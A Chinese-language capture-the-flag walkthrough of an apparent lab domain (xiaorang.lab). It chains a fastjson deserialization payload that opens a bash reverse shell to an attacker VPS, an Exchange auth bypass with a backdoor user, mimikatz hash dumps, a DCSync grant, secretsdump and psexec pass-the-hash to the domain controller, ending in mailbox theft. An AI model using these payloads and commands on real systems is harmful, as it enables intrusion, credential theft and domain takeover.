共计 2776 个字符,预计需要花费 7 分钟才能阅读完成。
工具:
https://github.com/dushixiang/evil-mysql-server 打反序列化
https://github.com/su18/ysoserial 老牌反序列化工具
https://github.com/fortra/impacket/releases/tag/impacket_0_13_0 域渗透工具
https://github.com/herwonowr/exprolog/blob/main/exprolog.py exchange 渗透工具
https://github.com/Jumbo-WJB/PTH_Exchange exchange 邮件提取工具
fscan,mimikatz,vshell
渗透路径:
华夏 ERP 的 fastjson 反序列化漏洞 (flag01)–>exchangeCVE 利用 (flag02)–> 获取邮件得到 flag03–> 用户 hash 提取提升权限 –>dcsync 获取管理员 hash–> 哈希传递拿下域控 (flag04)
外网打点
扫描一下端口发现开放 22,80,8000 三个端口。其中 22 是 ssh,80 是静态 web 服务,8000 是华夏 erp。那么下一步肯定是打 8000 端口

ERP 存在一个弱口令 admin/123456

进入到后台后知道华夏 erp 曾存在一个 fastjson 反序列化漏洞, 这里我们跟着 WP 复现
https://blog.csdn.net/qq_42077227/article/details/130236560
先用 dnslog 探测

再使用 ysoserial 和 mysql 打组合拳进行反弹 shell
下载地址:https://github.com/dushixiang/evil-mysql-server
https://github.com/su18/ysoserial
监听端口

./evil-mysql-server -addr port -java java -ysoserial ysoserial-all.jar
然后传参
{
"name": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "vpsIP 地址",
"portToConnectTo": 3306,
"info": {"user": "yso_CommonsCollections6_bash -c {echo,base64 编码后的命令}|{base64,-d}|{bash,-i}",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
}
}

获取到了一个初步的 shell

在用 yso 的时候值得注意的是要求的 Java 版本是 Java8,不然反序列化报错
由于是 root 权限直接拿 flag 就行

然后就是我们熟悉的 fscan 内网大保健了

可以看到存在一个 exchange 邮箱服务
题目都叫 exchange 了,肯定后面是要打 exchange 的
我们先弄个内网代理
虽然说可以挂个 frp 或者 stoaway 等搭建内网代理,但是用 vshell 我觉得更方便。
顺便还可以提升 shell 交互性

建立隧道代理后我们简单分析一下内网结构
172.22.3.12 已经拿下的 web 服务器
172.22.3.9 exchange 服务器 XIAORANG-EXC01
172.22.3.2 XIAORANG-WIN16
172.22.3.26 DC:XIAORANG-WIN16.xiaorang.lab
exchange 漏洞老多了
看看有啥漏洞

使用 exprolog 绕过认证获得 shell,然后添加后门用户

记得加上 proxychains
然后远程桌面

是本地管理员权限,直接拿到 flag

然后就是我们熟悉的 mimikatz 抓 hash
里面主要有用的是
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : 88f4cf50b8ecdb0cf5bfe4e24768c3e1
* SHA1 : c6f3c7b125491ffad07945f560d1ce8bb1e334dc
* Username : Zhangtong
* Domain : XIAORANG
* NTLM : 22c7f81993e96ac83ac2f3f1903de8b4
* SHA1 : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e、* DPAPI : ed14c3c4ef895b1d11b04fb4e56bb83b
exchange 机器账户隶属于 Exchange Windows Permissions 这个组中,而这个组具有 write 域内 acl 权限,所以可以设置刚刚通过 mimikatz 拿到的域内用户 Zhangtong 的 dcsync 属性。
proxychains python dacledit.py xiaorang.lab/XIAORANG-EXC01$ -hashes :a6b6d1b9ec4507fa352d2641c772da87 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2
然后就是经典的 dcsync 拿域管理员 hash 了
proxychains python secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc

然后就是 passhash 了,拿下另一台 win 机子
proxychains4 python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7acbc09a6c0efd81bfa7d5a1d4238beb ./Administrator@172.22.3.2

拿到 flag

还剩一个 flag 在邮箱里面,使用 pthexchange
proxychains4 python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download
拿下邮箱里面的压缩包文件,然后使用电话爆破密码(因为邮件里面说了压缩包密码是手机号)

拿下 flag
